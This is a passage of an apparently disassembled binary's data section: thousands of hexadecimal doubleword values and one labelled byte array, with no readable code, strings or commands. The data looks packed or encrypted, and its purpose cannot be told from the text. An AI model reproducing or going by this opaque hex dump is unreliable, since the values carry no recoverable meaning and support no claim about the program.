3FF103DBh, 0CD9777h dd 88E76CC0h, 8B0EA0C1h, 6080A4D4h, 0B712177Ah, 7F2506A5h dd 9032E7F7h, 60DFE248h, 6D9AF90h, 8079D7h, 54FCF996h dd 0B56CD6CBh, 0E5931800h, 345E05DDh, 12F401C6h, 6D752070h dd 790E80E4h, 0C14CE7B0h, 418700A2h, 86C3A834h, 43016C81h dd 0DC68E348h, 0DED41A4Ch, 677F00E1h, 152A3FA4h, 71F8C739h dd 1E878100h, 1B5CC192h, 27AC00FBh, 0BE458AA2h, 0CB0017BCh dd 470CABB0h, 10640Ah, 0AE54DFD0h, 431FDBB4h, 0F9C84E61h dd 0D92052C1h, 6675F4h, 0BEFA305Ch, 2960BACCh, 81396A00h dd 0EC8574D7h, 370A0ED9h, 1040F6F2h, 52DCC99Ah, 0F338A37Fh dd 0ECB780C6h, 0CDC53DE9h, 638E00CAh, 3C7D8533h, 0B5E0AA4Eh dd 0ECB6048h, 6361C9D8h, 88092B21h, 22ACB80h, 9AFC1D12h dd 5C71940Ch, 42EBB00h, 205A1F2h, 0B65A82D7h, 411039h dd 608B21F4h, 0DEF4E5E8h, 0C51DE909h, 1F080CFh, 19542Ch dd 5EED0AF9h, 79FE66ABh, 0CD551102h, 0E068B561h, 0E58F70h dd 0D32D150Bh, 3091951Ah, 12A4DD01h, 38B6EE4Ch, 5651D8h dd 2A9BBC25h, 2F160B1h, 58DD1201h, 0AFF9382Bh, 0AD411065h dd 0A42054F8h, 1DF30769h, 0D0B9AC51h, 0BD17E172h, 3D145C09h dd 7134077Fh, 360580Eh, 77501C95h, 0AD86C5Eh, 9AD0A161h dd 34A1F92Ch, 30011458h, 1300B39Fh, 76D29754h, 0A08A4B10h dd 13AA20BAh, 41AB3B72h, 45CF2CF4h, 0E870D6B1h, 0A8C2CD00h dd 0E2B526B0h, 0A57D0031h, 0E927F6B9h, 35003997h, 6D0FA40h dd 0E36CA10h, 0C09E5B6Ch, 0A025D6A7h, 5785C279h, 811E6FF8h dd 2A475A8Eh, 0D0D0CB97h, 0FF6DC8Ch, 7499BB77h, 0E7C1ED3h dd 0A406654h, 532636E0h, 0F003971h, 0F4F524D1h, 14BC65Eh dd 9D0E1F18h, 0FF95E3BDh, 0A10958D8h, 7E03AF78h, 0BAAD2288h dd 0A64A8003h, 0D2211E68h, 0D17092Ch, 47266980h, 4D0534BBh dd 27524441h, 20F9C80Ch, 68B079h, 78EF310h, 9404B395h dd 8330153Fh, 0EDFE9806h, 755480DCh, 25BFEC42h, 6080D2F3h dd 0E559C658h, 0BD7AC5Ch, 81CB6DE4h, 8A985F58h, 1CE04D02h dd 0A900D8BBh, 84517333h, 0B0D4B7C7h, 26A30080h, 0BEA06611h dd 31E69504h, 2000B094h, 80B9A26Bh, 30A4A45h, 0CAF0EECh dd 7647B8B0h, 0D2010C90h, 94CA2EF9h, 2020DF31h, 0F1540063h dd 76246BFBh, 8C71F545h, 1E003BF6h, 0AE44CC96h, 6650D16h dd 37ECC3C9h, 0D60406DBh, 0C5AAB197h, 0D85A2C91h, 0B5006036h dd 0DDCF0FF8h, 13050573h, 1C0E7E46h, 0B0F20CC0h, 0C7FB0E8Fh dd 0B80B496h, 1EFC2E1h, 7DFC224Ch, 2BF7E09h, 2C2400D1h dd 1796ECFCh, 986299h, 0DDB68EE0h, 6F3A9335h, 5801CF52h dd 0C72E0886h, 0E5DA4C70h, 0F8596C60h, 57A70099h, 0A240AE66h dd 0C4002CCCh, 0D94C52D7h, 3D5340Bh, 8BEC3377h, 8EA97D19h dd 0B71C207Ah, 117C1A00h, 725B014h, 0F33C0061h, 0FC34B662h dd 0C34A9A83h, 0BE7C13h, 0D9E8A5B2h, 69017F02h, 71FF805Bh dd 36800188h, 991A975Ah, 0E8007E98h, 72F93ED2h, 4E1B6FEh dd 626404D9h, 9D8CC05Bh, 0D4F45097h, 132E0C90h, 0C79CCCEDh dd 582B55C0h, 0F190D04h, 3D094CB0h, 0BF2F66C0h, 0FCF785AAh dd 0DF00F07Ah, 0EA283010h, 0CB2B40h, 0F2FF66B9h, 0EF745C80h dd 3714D218h, 9F8630h, 0C3B6612Bh, 0B7A4586Eh, 62C34D75h dd 9056DF12h, 61B4C1h, 0CA5A8175h, 0D8A929FEh, 0BA874200h dd 0A683C5F9h, 1D4B7D6Dh, 80C7110Bh, 0B32367FCh, 0B100944Eh dd 82F5AFACh, 0EEA069F1h, 5C95EEEAh, 84400CDAh, 21522F2Eh dd 100DB76h, 0F210E8E3h, 20640083h, 8880071Dh, 0B00045A8h dd 62C64209h, 57423DCh, 0C7A75915h, 4D48E07Ch, 0AD004CB0h dd 0A06CE58Ah, 0CFD42A8h, 0D2AF156Eh, 620011B0h, 0D6203E69h dd 0E102D70h, 6F9E835Ch, 0CC9A17E0h, 0FF002AF9h, 16CA95DAh dd 7527D3A8h, 63560194h, 4E6E5C40h, 80782066h, 0E7078A1Dh dd 68D1B407h, 982CA00Bh, 0C00EFBECh, 0E1327890h, 8C37B3Ah dd 1FD75C66h, 7D27E18h, 3F849E58h, 0F5302F47h, 0EAC2033Eh dd 20126F44h, 94C02779h, 58EF153h, 0C3960782h, 1EF0E012h dd 0B1717C00h, 0BE05A56Ah, 0C18A005Ah, 0FB38CF87h, 1802E28Eh dd 0E5AE80DDh, 3FA02222h, 98C617E3h, 281F5B00h, 0B19F54F5h dd 0D8EB00B4h, 7080F0DAh, 0AA0184D7h, 3A4E6F10h, 59C4380Eh dd 0D025030Dh, 0EFB6DCEAh, 0A9438200h, 732E8504h, 77E424D3h dd 3EA60066h, 968FE6E1h, 1A23139h, 0F0536B6Fh, 58384FA5h dd 612DED00h, 0C2DF90B9h, 0A778010Eh, 0E1F98CC1h, 61443B8Eh dd 4C5A2200h, 49741992h, 0F9F1F615h, 0E3E200B0h, 4F2A149Ch dd 0A28D00C5h, 300771FBh, 4D007F82h, 0D3DA6480h, 31E1877Bh dd 5339E6E2h, 5D22D0DFh, 0AD112167h, 8EB10D70h, 0F832079Bh dd 46314397h, 0C41D2115h, 0A4C10EBAh, 0FF5E45BBh, 779F1980h dd 0DFFEB6ECh, 0C724F106h, 0EC113A5h, 69D2892Dh, 888FB3C0h dd 0E6FF275h, 7C84A2A0h, 3E3263BCh, 0AD0CDA10h, 0F3A1F8E6h dd 56C6D500h, 12E1E27Bh, 4C09DBD7h, 0DD132000h, 0CE595EC6h dd 68E628C5h, 23E5000Ch, 0B934A4F0h, 640091F5h, 332275E3h dd 1D6604h, 5D5B16A0h, 68EEBA8Bh, 7580FB05h, 4401C712h dd 27DE9C02h, 4E7D1080h, 317242A9h, 579AAA0Fh, 6B3B40E1h dd 705FBE3h, 0C60BB7F6h, 11CC70C0h, 0C901375Eh, 0E165F13Ah dd 30600DE4h, 593403F8h, 9EBA5F45h, 44884FE3h, 5A006578h dd 0C0B22F96h, 34DBB8h, 8D89BE9Ch, 75D674ACh, 650C0B0Eh dd 2A2FA5A2h, 0E0292980h, 33BB0388h, 7A9EC174h, 0AB0C0AB8h dd 0FF90773Dh, 0B80C3A7Bh, 9EFF2D8Fh, 0B6500040h, 0D86B7859h dd 0F503557Dh, 91E94C4h, 0EF7C3FD2h, 5D9C6480h, 0C871FE8Dh dd 9EF9DB00h, 797F01A7h, 0CD210E4Bh, 0AAC0531Ch, 997037ADh dd 968CF300h, 8283DF35h, 6C65009Ah, 0D66940AFh, 0B658D271h dd 0F62900E3h, 39A9AA8Ch, 3EB3005Eh, 666E3DDh, 0BC016C60h dd 0C0A437D9h, 21809121h, 0FDC750F6h, 20A7848Fh, 0C1F94B08h dd 71AE4E35h, 8CF1C457h, 1F024F07h, 0DA41ABC7h, 0E13A2260h dd 2170E7CEh, 0CBBE5A00h, 15D9C5B4h, 0BF4F02F9h, 0B6AB0BBAh dd 993440D5h, 64AF0091h, 6A9CACF1h, 3B034F8Dh, 407F48Ah dd 37AA389h, 6A74A521h, 0A9B09CAAh, 0BD0653ADh, 2C87F3A0h dd 288C6710h, 0D59F40E7h, 10C5865Fh, 4883A4D1h, 2963D878h dd 6A09CC71h, 0DC063121h, 9C9B8B81h, 94220069h, 643A751h dd 0FC00EA0Fh, 6AB832A4h, 74C9A3CDh, 79CC144Ah, 5D11A894h dd 468D0A87h, 0AF01A43Bh, 0B7A1F14Ah, 4480AC57h, 38985137h dd 327792ACh, 0A6083AE4h, 0E9AF9480h, 0DFC51AAh, 0B731A00Ch dd 1FF91958h, 0FCB38Ah, 83553961h, 9EFBB4C4h, 10A4CFF0h dd 0EE4380A0h, 0DD007423h, 0F779ED81h, 0F4608667h, 80B53231h dd 22DB0046h, 0C7E1D460h, 0B9C03588h, 10093750h, 13FE895h dd 9D71C022h, 80F5AB2Ch, 1E061341h, 612D52DFh, 0CC0FF158h dd 7D818F5Dh, 36A5607Ah, 3DC2EAB7h, 0BE8019E7h, 0EB54D73Ch dd 700D5AEh, 50944CBDh, 0CF849E4h, 0DB23480Ah, 3600F619h dd 0A39932C3h, 3A5149E3h dd 0C530E2ACh, 0C3DEF521h, 8A2C0901h, 16779C04h, 0B4D61880h dd 872D2402h, 0FF587C0Fh, 0A0E1EFCCh, 3498C09Fh, 62C2003Bh dd 0D43DF8E5h, 0A71E9DB6h, 0A6587E1Fh, 47E740h, 0BB0325A2h dd 438AAA68h, 216D08CCh, 0EEBF7EACh, 7DD20FC0h, 0E04211F1h dd 8920E95Ch, 0F5B9D04h, 0BF20ACEFh, 218EA48Fh, 0D64B82C1h dd 6014FD07h, 1F060505h, 873DEC4Ah, 21A16008h, 539B317Ch dd 4D3BDB00h, 0A78D4981h, 51C801BDh, 4CA3B7C7h, 89284820h dd 52D9B08h, 4CF4C217h, 9B11000Bh, 33757FDh, 149183CDh dd 70F70394h, 0B23D2FAFh, 0A978B601h, 897D791Dh, 468C58A0h dd 3BE021Ch, 314302E9h, 56C71072h, 0EF6C00A2h, 412E3F53h dd 0D1504525h, 4A146FD8h, 0E66A7Bh, 51ED54ABh, 5D58D2h dd 0FBBFD941h, 185B2F6Eh, 0E4087E2Ah, 403D3601h, 4EF4B2C9h dd 0A8A21023h, 269B30h, 2C76E9A5h, 50AD5704h, 15FBAE0Ah dd 9401D4E8h, 24BE0AFAh, 0C3342C50h, 93992330h, 0EF4439h dd 1760C3DCh, 0F4DB41B7h, 0C1922300h, 0E0E60435h, 5C4A1DDDh dd 47317324h, 10D830CBh, 0DA00B0E8h, 85536D66h, 4A2036h dd 43A3165h, 25A8210Bh, 38D0F130h, 0EBE464h, 8323D4E3h dd 45FF0916h, 4A24EC2Eh, 92A18A01h, 240284h, 12AD00BDh dd 0CB315638h, 9DB897EAh, 14B3B000h, 26E2EB99h, 0C091DEE1h dd 63A5EAD4h, 0BE002A7Fh, 0DAFE92B5h, 0CFDE51Dh, 0BD77F94Eh dd 0DE90129Ch, 0B50D3F00h, 2EDED65Ah, 6CA1C0E2h, 0C45028EDh dd 82CF3103h, 0A3CBE9CCh, 892100D3h, 7B222905h, 4AF4C4C1h dd 24D249h, 432A5E98h, 0AC6C0AFBh, 0C3320FE8h, 0E2C89916h dd 1140BA64h, 0C818C33Bh, 1D623D00h, 83048C9Ah, 0D15491C2h dd 445186Dh, 0E28440D2h, 0E28487B9h, 98495F01h, 0D8F091BDh dd 0B1291387h, 0CCC21C4h, 0EB8388DEh, 7F4D2801h, 0E025E775h dd 96361984h, 4091C73Dh, 97E1F4D4h, 0F98E1D00h, 70FA1ACAh dd 602DE6D7h, 0FE04797Ah, 7B00AB50h, 704EA1F3h, 0F35675F1h dd 125F89F0h, 35322AA3h, 0B5600314h, 0D0E7EDDCh, 0D44C83C6h dd 0BB260D00h, 0CE4AB73Eh, 232D11AAh, 750071D2h, 49287702h dd 17E0A17h, 0D053926h, 7060B82Eh, 2548B331h, 2A458060h dd 874D1Ch, 805B2CB2h, 0B54BCE23h, 0FF501900h, 8BB32562h dd 1289F424h, 50E83546h, 1923CCE0h, 0EBA26101h, 2033CB02h dd 3B92E80h, 0B70C905h, 5597B000h, 0A1562098h, 0D4F84814h dd 288CADBCh, 3C819A02h, 8C9DED5Ah, 5F848028h, 31852096h dd 25A4D754h, 9E3980EBh, 0A04323B7h, 0A3020245h, 2811F4ABh dd 8A928D60h, 0AED35603h, 253547h, 0FA3DFDE9h, 0CDB8E588h dd 0F0DA0A2Fh, 5651C075h, 0D0943C85h, 0D9C02C91h, 3173B9Bh dd 3FDEAA31h, 8007239h, 7A1A595Dh, 713B73F0h, 947007Eh dd 1BCB399h, 0BE066051h, 5EB9F98Ah, 0A9A10028h, 1C89EC9Dh dd 827D0493h, 50D5D20Eh, 4055C8F6h, 0E1CDCB1Bh, 0C7116267h dd 4FEBEFC1h, 0AFD97180h, 0CA31033Bh db 54h byte_520045 db 0E1h, 48h, 0B7h ; DATA XREF: ___:004385A0o ; ___:004385B8o dd 87FC31C0h, 0B8F7903Bh, 9A6D0037h, 587573A2h, 0E22A82FDh dd 0E8462C15h, 923B701Ch, 2C9A1132h, 8F00B622h, 4DB03BA8h dd 54F0459h, 0E8402D0Dh, 5BCD8109h, 0BF97E8E7h, 0F130E554h dd 3B75058Ch, 23BA310Dh, 21585C5Ch, 0D63B00D4h, 150DF030h dd 0D06A1F82h, 306AC22h, 72BC7B42h, 1D3F41B0h, 9A987A50h dd 0E6FC9D00h, 68B64B0h, 186360F8h, 770F0DFAh, 0D4501507h dd 0D5079D32h, 218346h, 0E50F05BCh, 14172907h, 2D23AE00h dd 2FCC9550h, 119C00A5h, 0D762F56Bh, 0AA00218Bh, 0C5F335E7h dd 0E5BBB1h, 30020669h, 22A2B8FCh, 4DB39200h, 0AC0BD228h dd 10F300ADh, 6FF593CDh, 0EC00FF9Eh, 0EFC82548h, 8C6D69h dd 8D542379h, 380AE3F6h, 9E9CAA07h, 4B20FFF4h, 0A9BF50h dd 6422CD60h, 446F2E43h, 0D8C048h, 9935D428h, 69EE50h dd 8F25E892h, 0CC49D5CBh, 0E729B4C0h, 9BE285h, 36B7A593h dd 0EED42F7Ah, 0EF2C138h, 173CBBh, 0C62ECDD2h, 238030Eh dd 3FE75EC9h, 88AA5CF8h, 0C3049600h, 0F07D8EA0h, 0CE570043h dd 0D5C0A9C9h, 0D64E1568h, 4D9B1C80h, 0BE9E0192h, 36B8D85Fh dd 20EBFB29h, 12415CEAh, 0C7804482h, 7FD301ADh, 0D019DDF3h dd 9630ED1Ch, 77AA80E9h, 35A500F2h, 0A3563767h, 3D031580h dd 16079AE1h, 0CF87C8B1h, 0DA0B20A4h, 28246000h, 0FD536EEEh dd 801B044Fh, 40D03BC0h, 0CC8E7EC1h, 0EBF200FAh, 0F6056FF8h dd 65EC8F43h, 58358800h, 5C87AAFEh, 49C0A039h, 0DFCA3036h dd 95985140h, 3459A0A0h, 0BA0EEA79h, 0C06A9603h, 7AAAACC0h dd 0EE4000Dh, 810A18F1h, 1C308D9Bh, 366641C1h, 2AC601D4h dd 6CEB189Ah, 1684F0F3h, 0D0C00263h, 0AF22E8BBh, 3A7E58C0h dd 0AECB0D00h, 3BC9CABCh, 640ADFF6h, 0A0384F33h, 377DC700h dd 746B5C8h, 5BF0B369h, 33DCA0BAh, 0CA00408Fh, 623662Eh dd 396D621Bh, 0AC4EA2FDh, 5E090021h, 0E89F4A15h, 44B60012h dd 0D9BA6380h, 0F90786A6h, 0AA6D8491h, 8F5B0EC1h, 34353F8h dd 17BC5481h, 10A391B3h, 82574003h, 0E04B97DCh, 1DE8AE7Dh dd 0A4E9F93Dh, 8C640440h, 0D9A00C4h, 920C739h, 47802B8Eh dd 40858000h, 0F87921B0h, 90041D09h, 0B9FC0063h, 3A1FA7Eh dd 0C1F07134h, 0C0832906h, 9BA4BAA0h, 52CC090Bh, 0D20E5DA1h dd 33B4DE23h, 0C66CB6F8h, 16CA58h, 0AE09D08Dh, 70A5E2A4h dd 3900026h, 3E8AC3D1h, 0C0017A9h, 5AB3330Bh, 3C55A4E4h dd 8C034792h, 96563CDEh, 5DAE680Fh, 0B1F80051h, 0D5E24Eh dd 6B46783h, 0EC751FE5h, 5FACD803h, 843556h, 630D5030h dd 6D974E59h, 90CF60F7h, 51D81F13h, 39FD3200h, 0E41B47h dd 0D7336730h, 4292586Bh, 0F196840Bh, 803C80C5h, 0C087590h dd 2F343E72h, 0C283330h, 820080B3h, 0F6EBE30Dh, 0F8A78Fh dd 7592BFE9h, 9CFE4313h, 83A58000h, 0A48FF5D1h, 0F9FB0A77h dd 70203C55h, 8CB23Eh, 7D859BE7h, 4AA3D053h, 9392060h dd 0AA1FBCEh, 0C0E87133h, 4B8064CCh, 578180E9h, 1EF56D8h dd 258C592Fh, 57950D03h, 87E82A8h, 4F83CC80h, 0A00C7E7h dd 2A2E5DF5h, 1803062h, 0ADEB46E3h, 952221C5h, 0F804AE59h dd 794E688Bh, 798909E3h, 0BF1BCD80h, 9D0FF0C8h, 87850942h dd 35C0D02Eh, 7C2AE9AFh, 1F0F7C81h, 4DDE8B8h, 0C3A0749Fh dd 5903A548h, 0D91D1BF7h, 0E8504084h, 9B51C1CFh, 24480D04h dd 4603990Ch, 763C7F29h, 6183E0D7h, 2F8F0FF4h, 30A065C6h dd 0A325B805h, 0F0857419h, 86E2A6B9h, 0CD12C60h, 6550CAB0h dd 790F0E59h, 0A19FBD7Dh, 5528FF3h, 48F2704Dh, 5CB730h dd 0DB12327h, 0FEA1C67Eh, 7AF3405h, 800080B3h, 0A5C5924Ah dd 9C330306h, 41020367h, 0C4356905h, 4C658D23h, 0BBBD5804h dd 0BFAF051Fh, 2EB44E76h, 414750C6h, 7FB5F70Fh, 0ABA9780Dh dd 0D46D31E0h, 0BCB22138h, 8C6B0A59h, 448F89Fh, 88517077h dd 0CD46150h, 741E0324h, 3A85003Ah, 8FA0049Eh, 7E2090A5h dd 26F90F51h, 325D0C9Fh, 6C109929h, 82289A2h, 2D2B4486h dd 0A3462284h, 22F85622h, 414223B8h, 228EB011h, 275005Ah dd 0E8E10DBAh, 95F4DF7Bh, 38009877h, 74540833h, 776DDB75h dd 0A3640047h, 0FFC73C2Eh, 0C2FAAA85h, 3ECC1D00h, 0B9A55370h dd 725FADAh, 71FC9AC1h, 5B919090h, 51003BD5h, 5C3E4D85h dd 37C20BBh, 1D33CFE4h, 4D0D8DEh, 8F008109h, 4AF5B731h dd 72D607Dh, 0C873CC6h, 9CA26034h, 8A0703BFh, 418DCA43h dd 164EBA80h, 7E9D02FDh, 2D79F37Dh, 0D871C0A0h, 7F00EBDDh dd 0E1E68AB3h, 12041D3h, 0DB9C9FA8h, 0F3FFA634h, 0C6C042C3h dd 2F01A252h, 0F37C5C91h, 40347E85h, 0A796073Ah, 60F01C40h dd 4E535446h, 0A606A07h, 0BEE03083h, 0EE438DD9h, 0BB8008Bh dd 6DD1CE11h, 1D006053h, 93C7D720h, 0B976C9h, 29A5FEBEh dd 0B4895039h, 77AD8F00h, 7693191Ch, 4505074Ah, 774FF9CBh dd 0A4A05078h, 563095F2h, 4B20B8E5h, 0F308000Ch, 0D11DC5Eh dd 0D3E6FC8Ch, 12792F00h, 2E9E52DDh, 679D014Dh, 478FD405h dd 0BDB0FC26h, 0AEC05000h, 0C69338CAh, 6F60F1Fh, 0EFA01573h dd 1765F22h, 87A4A93Eh, 55A87F28h, 40EC0FAEh, 0C746D2ACh dd 0B1F100DAh, 0A6E0D12h, 0D53989B0h, 0EDCA80CEh, 5A8CF87h dd 4EE0005Dh, 22B323DDh, 3E48517Ah, 9C2D073Ch, 0C07F298Dh dd 0D253144h, 0F1F93C19h, 8E6EFE80h, 832FD858h, 84C12B00h dd 0E7B1DE7Fh, 3D87E07Ch, 782E74h, 0BA9AE9E6h, 146FD795h dd 20DF831Fh, 2EFA7DC0h, 386C0CEh, 2519D265h, 0D9F8E492h dd 1118E37Ch, 0D1700C85h, 9E7A54h, 9C45FFEEh, 0B34B6234h dd 94F6B0A0h, 0F1196309h, 650C00B2h, 204964A8h, 24105706h dd 7A00A468h, 301CA32Ah, 0AE00A076h, 97FC80BBh, 24F2F3h dd 89FD5E2Ch, 2FFF98BDh, 615BD203h, 0EBA71D53h, 7F880029h dd 1208B78Ah, 70DDE745h, 0AF5DFCC0h, 0D9E52Bh, 149892AEh dd 3EB4A0Bh, 0ACDA4707h, 296045E7h, 3D1D39B7h, 16801FB9h dd 0A238C23Bh, 74002E24h, 15677EE3h, 5D2DF2h, 0DF7187C8h dd 6536E91Ah, 1E00447Dh, 97725F94h, 0EC711EEh, 50961342h dd 2B9B5620h, 0E8C3F609h, 0B8A06B0Ah, 0B984D5h, 0FE089848h dd 2A3B366Dh, 0E1B35800h, 6466707Fh, 0F0470035h, 0B9038C4Fh dd 0C601E51Eh, 98FE3783h, 92D89554h, 68150030h, 0C2293188h dd 4C07EE6Eh, 0FD1F6B9Dh, 8E0B6D71h, 1B5EC60h, 0F43F6F0Eh dd 0DC0D4CB7h, 0D00058F9h, 0AD9D5D26h, 0D61AAFh, 0EDF6C589h dd 73D372CEh, 578B0600h, 10FCDBAAh, 9A561397h, 7A8FB01Eh dd 41945216h, 0A8F0B41Ch, 18B2D5h, 0A70CFC9Bh, 2C6CAF84h dd 0C1088200h, 22111C3Fh, 6987008Eh, 3D1878FBh, 0DB00E5ABh dd 0B5D29BCFh, 3227FAFh, 80A3F2E2h, 98F93ABDh, 0B412CCD0h dd 0E8C0947Ah, 54C04EA8h, 9C2E004Dh, 3A16902Fh, 7B005DF3h dd 55CE2D0Dh, 7F65B1Ah, 6FE739C0h, 792AF17Fh, 0D01E8069h dd 6B0F541Fh, 5B240071h, 7A5A3C8Fh, 0EC037253h, 6F027CA8h dd 522C8892h, 0A354011Ah, 973628BBh, 0B1EFF8FCh, 44B76B00h dd 0D40D2A6Ch, 4BB822h, 5099AA66h, 0B1F37962h, 8F9A9D00h dd 6353BD25h, 0A6FD00C9h, 48108B12h, 0E200B3A5h, 7C13D77Bh dd 2A4427h, 4EFD18C6h, 6951F6F0h, 5DB82605h, 2782D252h dd 7B84C00Ch, 0D3AB0ECCh, 0F21310h, 61663F1Dh, 0D5727D23h dd 0EDB10D09h, 0F9C20016h dd 27C6C2h, 722B6BF6h, 3A439169h, 1EC6148h, 0AB1CA9FCh dd 24306A7Dh, 5AAD13E9h, 73EC27D1h, 0DAE08DB1h, 70006371h dd 0D528C433h, 781E6h, 53E9A25h, 797FC272h, 0D49B39h, 0B0D6CEE0h dd 0CE0AE2D8h, 0EB4073B0h, 9CE5E82Bh, 0F70C8000h, 54E41B79h dd 2635020Dh, 6A8EDA89h, 0F54AF360h, 0F60E4D00h, 0D9811B2Dh dd 79E3009Bh, 0C6A44640h, 2664A174h, 0B8211B1h, 3D589C8Ah dd 0E980C19Eh, 0D96CBED4h, 38C0B1BAh, 644D520Dh, 5C33022Fh dd 6C8BC563h, 678F2C40h, 0EEFAFE07h, 0AF101028h, 186A5106h dd 0D1D9B3F7h, 5F8EF43h, 2E5CF500h, 0B40F44Ch, 6A6F00FAh dd 18CB9917h, 0D91E4DA8h, 0C2448008h, 21C0F48Fh, 13F398E8h dd 0CD1F6D8h, 4910E919h, 0F5026178h, 9A95552Ah, 9BF4A088h dd 0BAD8B95Fh, 0B4F480h, 2B0474A1h, 14A223FDh, 9A631607h dd 299027E5h, 0F910B3h, 5B9F1965h, 0F84F98C6h, 903C098h dd 7B013246h, 2516B0C9h, 0EA913885h, 425812h, 46785237h dd 29001A8Ah, 392063Ah, 0F0B5E47Fh, 0CF670E0Dh, 0F6E06EE3h dd 51491E6Ah, 0E230DF00h, 0EF3CB789h, 1D90A2h, 63F80E9Bh dd 111C059h, 87DC3400h, 5E3AE5A5h, 2CDF001Bh, 97E10F9h dd 924A8C1Ch, 0C382CC00h, 0F64ED308h, 80175E61h, 0CBCEF475h dd 0A0211200h, 0BE19EA1Eh, 7FDE1FFFh, 251380E8h, 5E4E8731h dd 0A700F972h, 0E7CCBF7h, 50FCB1A4h, 1CF1E867h, 83EE4D2Ah dd 79534872h, 69F00798h, 3442D4A8h, 0D7256700h, 0BA1BB9D9h dd 7EB2E92h, 0ED200300h, 50DF7C0Dh, 727FDB1Ch, 3C956E00h dd 0FFAC24B6h, 3F860078h, 77500984h, 40091BEh, 0C15AEC2Fh dd 195B1Bh, 0E5FC8683h, 2C5E29B6h, 0D20FD300h, 0CAC9A9CDh dd 0CA0000Dh, 43183DE2h, 967F7421h, 0DA40A100h, 0C101BE52h dd 0B19E740Eh, 0BC240084h, 8D09B7Ah, 1F525C1Dh, 37209840h dd 0EF4C4Eh, 4F353066h, 26539954h, 0D610E801h, 5862E5B7h dd 2361DFCh, 9067E26Fh, 38439949h, 0E52061C2h, 0E62E6875h dd 0A2BD1C5Dh, 93EE6Eh, 4CE5911h, 5100ECEDh, 70202A7Eh dd 0E8D1389h, 0FF277FFCh, 40AC7B00h, 0A065AE9Dh, 24C01551h dd 0E51D9F3h, 992B0EA6h, 0C0228BE5h, 0D23F5E5Dh, 3A1D5090h dd 3D808391h, 59E32F0Ch, 0BF7100A8h, 7C34115Eh, 473FBE6Ah dd 0B0C68FB7h, 9C7C17Ah, 36D45AFBh, 86560049h, 570B9F8Ah dd 0DA006C69h, 83D4E614h, 2EB4D045h, 3CB823h, 7E585D0Eh dd 60EA1CE4h, 6AAE0809h, 95D40775h, 42D43040h, 4BF10033h dd 76A3ED73h, 0FA005B91h, 0D8839CF6h, 6F0A8Fh, 1A65026Ch dd 899A274Dh, 47CAD21Eh, 3FFC5E41h, 3330211Fh, 97F800B0h dd 0B811B93Ah, 1EEC614Fh, 47107101h, 35C0D453h, 2CD8AE8h dd 0D2CEABBFh, 4AE021F6h, 0C600F820h, 32D03706h, 0FAA9913Bh dd 0F76500D6h, 48D464D1h, 8100DE24h, 34A64988h, 0C061D3BFh dd 51DB2D08h, 0C80F581Dh, 0A0238497h, 72C5A62Fh, 0F1173D81h dd 3F89523Fh, 1B83DBEBh, 19C8A024h, 7C0EB962h, 395B806h dd 0F03544FAh, 7F3174h, 576C5171h, 0A399BC89h, 1A27E418h dd 0E79C17Ah, 233C368h, 8F3B0C47h, 0B0DA3DE0h, 0CF00B56Ch dd 78ADFFA3h, 120922h, 0F817C82Ch, 57A1AFD8h, 4C73F400h dd 0C0C1787Bh, 590D0FE6h, 0B2D904h, 0EF8FCBB5h, 68E80C70h dd 63997100h, 0AB2C241Ah, 0B60B0E5Ch, 144FE11Dh, 0DFD3D500h dd 840209BAh, 0A407CEEh, 3B43C1E8h, 38549980h, 0CBFE76ADh dd 9B0F8800h, 0D9B6FC93h, 0E760E3DBh, 99EA00D1h, 1C911A6Bh dd 5801652Eh, 0B9A232D4h, 118196C4h, 9F064A7Ah, 14ED4091h dd 3300F656h, 6DB59427h, 7CAE23h, 0D121B7E9h, 0BF4662B2h dd 345CF407h, 0A0C0614Ah, 0CB18Dh, 78EC0937h, 0EE648281h dd 0FD519500h, 0D6149705h, 11E866h, 13CCFCBFh, 0FE4E30A0h dd 0E0AB2100h, 0DEA62962h, 5825264Bh, 0CA5A00D1h, 0F93EE691h dd 0F7004898h, 365B94CFh, 0BE0FBFh, 0F2B38FDDh, 46866851h dd 19D52A18h, 0FA1811h, 0CFED8402h, 0BF599374h, 8BE8E200h dd 0B43BCED3h, 6119000Ch, 2B8D4089h, 463C7D05h, 604810h dd 0D641EB84h, 0C24DDD7h, 1EF85BEAh, 6D001740h, 894251FEh dd 23F34Bh, 84181BB0h, 0BC61C712h, 0C093AC01h, 0C32A203Ch dd 3CDB4CF4h, 1C8150DEh, 9FB2F72Dh, 1749D0B7h, 0F0E69EA0h dd 0BF001F70h, 0AA270248h, 132573h, 3EAC3C75h, 0CC3A54EEh dd 0B5F61FF6h, 340060FCh, 0F04401A4h, 2647F5Bh, 8C2B0C81h dd 0CE09443h, 1C0055DCh, 0E1DE5A59h, 84927h, 0B937F50h dd 953A7DC6h, 0D11DD3B0h, 2A47ECA3h, 0B7D342E4h, 64DE90E6h dd 50F0190h, 9458865h, 0FAB07FF8h, 0E0060032h, 0A4B5EB8h dd 0B400A7FEh, 0F74D2BAFh, 0D2CFA5h, 9EF04C68h, 78591EDBh dd 0A1CD1800h, 0CBC3412Eh, 0FCC40005h, 10D985D7h, 3C1D71BEh dd 0B1800442h, 0B5050E55h, 9407001Ch, 0AB5F6D98h, 47000FC4h dd 5337EA89h, 37EF9DBh, 0CAF65407h, 0D2F07366h, 56005EE1h dd 2AA4C11Ah, 0DDAD96h, 0A3BD57FEh, 0C5B17455h, 0EB985D0Eh dd 4F932050h, 7909F13h, 0BBC43861h, 34D92C1h, 1DD127E0h dd 89171100h, 96E91645h, 4217379h, 0A193BE72h, 0DEC3C06Ah dd 9C00DAF2h, 24CBCC1Dh, 0B95694h, 8380EFE1h, 7C7AA40Bh dd 0C2120100h, 5BEE6FDBh, 1B6A0049h, 0B782BF27h, 0BE033B20h dd 2822AE24h, 13D7B045h, 0E5C400DEh, 0E603BC2Eh, 260C1E9Bh dd 319A795Ah, 8AEE0717h, 907558E5h, 0E33AC8BBh, 10C79001h dd 5247FB57h, 2CC43C31h, 0DAAD0098h, 2E17518Fh, 8501B3CDh dd 0F12AB419h, 0E0808A30h, 8B548907h, 9F0047D1h, 0C90B95CFh dd 1ED85014h, 409B816Eh, 0E73FA865h, 0DE002C41h, 0B6EB78E9h dd 0BA924Eh, 77CA966Eh, 0E251C03Bh, 8041383Bh, 0A6547AEDh dd 0E6CD551Dh, 60FB0F46h, 6465FE82h, 48F00020h, 0EF7E573Dh dd 0B9582102h, 60173AD9h, 0F302ABh, 0A2E5121Ah, 0E82DC45h dd 0F6B7351Eh, 0A9EDFFC3h, 0C13E883Ah, 5FCD0EC9h, 0AEC0CF69h dd 0EEEBAD4Eh, 0BED16300h, 67EF25A0h, 